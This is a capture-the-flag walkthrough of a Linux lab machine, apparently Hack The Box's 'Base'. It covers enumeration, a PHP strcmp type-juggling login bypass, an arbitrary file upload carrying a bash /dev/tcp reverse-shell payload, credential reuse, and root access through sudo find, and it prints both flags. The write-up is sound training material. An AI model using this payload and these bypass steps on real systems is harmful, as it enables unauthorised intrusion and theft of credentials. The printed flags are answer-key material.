MACHINE - BASE

IP: 10.129.92.156

Type: Linux

OPEN PORTS

```
$ nmap -sVC -T4 -Pn -p- {IP}
```

- [1] 22/tcp ssh **OpenSSH 7.6p1**
- [2] 80/tcp http **Apache httpd 2.4.29**

SITE INVESTIGATION

- The site uses PHP as a backend programming language
- Interesting Wappalyzer output

1. Ligthbox
2. AOS
3. Isotope
4. Swiper

- Looking at the source page and in the Forms there is a `forms/contact.php`
- No cookies already set
- Let's do some directory enumeration using gobuster

```
/.htaccess            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/assets               (Status: 301) [Size: 315]
/forms                (Status: 301) [Size: 314]
/index.html           (Status: 200) [Size: 39344]
/login                (Status: 301) [Size: 314]
/server-status        (Status: 403) [Size: 278]
```

- Since there is a login button let's try to login
- Clicking on Login redirect to `http://{IP}/login/login.php`
- We have a cookie set

```
PHPSESSID=e2l2pvg7ejjb5oe28p8iumjne1
```

- As usual first let's setup the proxy and open burpsuite
- Attempt to login with credentials `admin:admin`
- Burp intercepted the following request

```
POST /login/login.php HTTP/1.1
```

```
Host: 10.129.92.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://10.129.92.120
Connection: close
Referer: http://10.129.92.120/login/login.php
Cookie: PHPSESSID=e2l2pvg7ejjb5oe28p8iumjne1
Upgrade-Insecure-Requests: 1

username=admin&password=admin
```

- Sent the request to the Repeater to see the response
- The response contains the following JS script

```
<script>
    alert('Wrong Username Or Password')
</script>
```

- With this information we can attempt to bruteforce the login using Hydra

```
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form:\
    //{IP}/login/login.php:'username=^USER^&password=^PASS^' \
    :'H=Cookie\: PHPSESSID=uka1gssce0eth9p8fccq0ajk1v'\
    :'F=Wrong'
```

- However we did not get any successful result, neither with `root` user

---

TYPE JUGGLING

- Let's visit the /login folder directly
- As we can see there are three files: `config.php`, `login.php` and `login.php.swp`

  SWP Extension refers to *Vim SWAP File*. A Vim Swap file, otherwise known as a ".SWP" file, is created by the Vim text editor whenever somebody opens a file to edit. This temporary file stores modifications made to the original document and safeguards it in case of unexpected crashes or system malfunctions.

- Let's download the `login.php.swp`
- If we try to open the file using classical editors we will see only a bunch of bytes
- Using Vim we can restore part of the original file

```
$ vim -r login.php.swp
```

- Inside VIM let's press `ESC` and `:w {file}.php` and then `ESC` + `:q!`
- Now we can read the file more clearly and see the PHP part

```php
<?php
session_start();
if (!empty($_POST['username']) && !empty($_POST['password'])) {
    require('config.php');
    if (strcmp($username, $_POST['username']) == 0) {
        if (strcmp($password, $_POST['password']) == 0) {
            $_SESSION['user_id'] = 1;
            header("Location: /upload.php");
        } else {
            print("<script>alert('Wrong Username or Password')</script>");
        }
    } else {
        print("<script>alert('Wrong Username or Password')</script>");
    }
}
?>
```

- As we can see the comparision is done via `strcmp`
- It is quite known that strcmp function is unsecure, hence we can exploit it
- In particular `strcmp(x,y) -> int`

1. < 0 if x $<$ y
2. $= 0$ if x $=$ y
3. > 0 if x $>$ y

- According to https://www.php.net/manual/it/function.strcmp.php
- Both parameters needs to be string otherwise the result is unpredictable
- In particular

```
strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp(NULL, false) => 0
strcmp(NULL, "") => 0
strcmp(NULL, 0) => -1
strcmp(false, -1) => -2
strcmp("15", NULL) => 2
strcmp(NULL, "foo") => -3
strcmp("foo", NULL) => 3
strcmp("foo", false) => 3
strcmp("foo", 0) => 1
strcmp("foo", 5) => 1
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
```

- Which is of our interest is `strcmp("foo", array()) => NULL + PHP Warning`
- For example we could send a request with `password[]=foo`
- In this way the `password` variable becomes an array
- Finally, the comparision between the value of `strcmp` and `0` is done using `==`
- PHP first converts both value to the same type and then compare them
- We could first use `password` array to return NULL and then `NULL == 0` is True.
- This exploit so called *Type Juggling*

  PHP *type juggling* vulnerabilities arise when loose comparison (== or !=) is employed instead of strict comparison (=== or !==) in an area where the attacker can control one of the variables being compared. This vulnerability can result in the application returning an unintended answer to the true or false statement, and can lead to severe authorization and/or authentication bugs.

- Using Burp let's modify the login request with

```
POST /login/login.php HTTP/1.1
Host: 10.129.92.156
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://10.129.92.156
Connection: close
Referer: http://10.129.92.156/login/login.php
Cookie: PHPSESSID=e2l2pvg7ejjb5oe28p8iumjne1
Upgrade-Insecure-Requests: 1

username=admin&password[]=foo
```

- We have logged successfully as the admin
- Moreover, we have been redirected to the `upload.php` page

ARBITRARY FILE UPLOAD

- Let's try to upload any file from the local machine
- If we manage to perform another directory enumeration we find another folder `_upload`
- Navigating to that folder we should see the file previously uploaded
- At this point we can create a simple PHP file named `script.php`

```
<?php system("/bin/bash -c 'exec bash -i &> /dev/tcp/{MyIP}/{remote-port} <&1'") ?>
```

- We can upload that file
- Then we create a simple netcat listener
- Navigate to the `_upload` folder and click on the `script.php` file
- We managed to get a remote shell on the target machine
- Now we can give this commands

```
www-data@base:/var/www/html$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@base:/var/www/html$ export TERM=xterm
www-data@base:/var/www/html$ cd ./login/
www-data@base:/var/www/html$ cat config.php

<?php
$username = "admin";
$password = "thisisagoodpassword";

www-data@base:/var/www/html$ ls /home/
john

www-data@base:/var/www/html$ su john
Password: thisisagoodpassword

john@base:/var/www/html$ cat /home/john/user.txt
f54846c258f3b4612f78a819573d158e
```

- At this point we can disconnect and connect with SSH

PRIVILEGED ESCALATION

- Since we are a normal user we cannot retrieve the root flag
- We need to perform some privileged escalation techniques

```
john@base:~$ sudo -l
Matching Defaults entries for john on base:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:\
        /usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on base:
    (root : root) /usr/bin/find
```

- Hence we can exploit this command to get the flag

```
john@base:~$ sudo find /root/ -regex '.*\.txt' -exec cat {} \;
51709519ea18ab37dd6fc58096bea949
```

FLAGS

USER: f54846c258f3b4612f78a819573d158e

ROOT: 51709519ea18ab37dd6fc58096bea949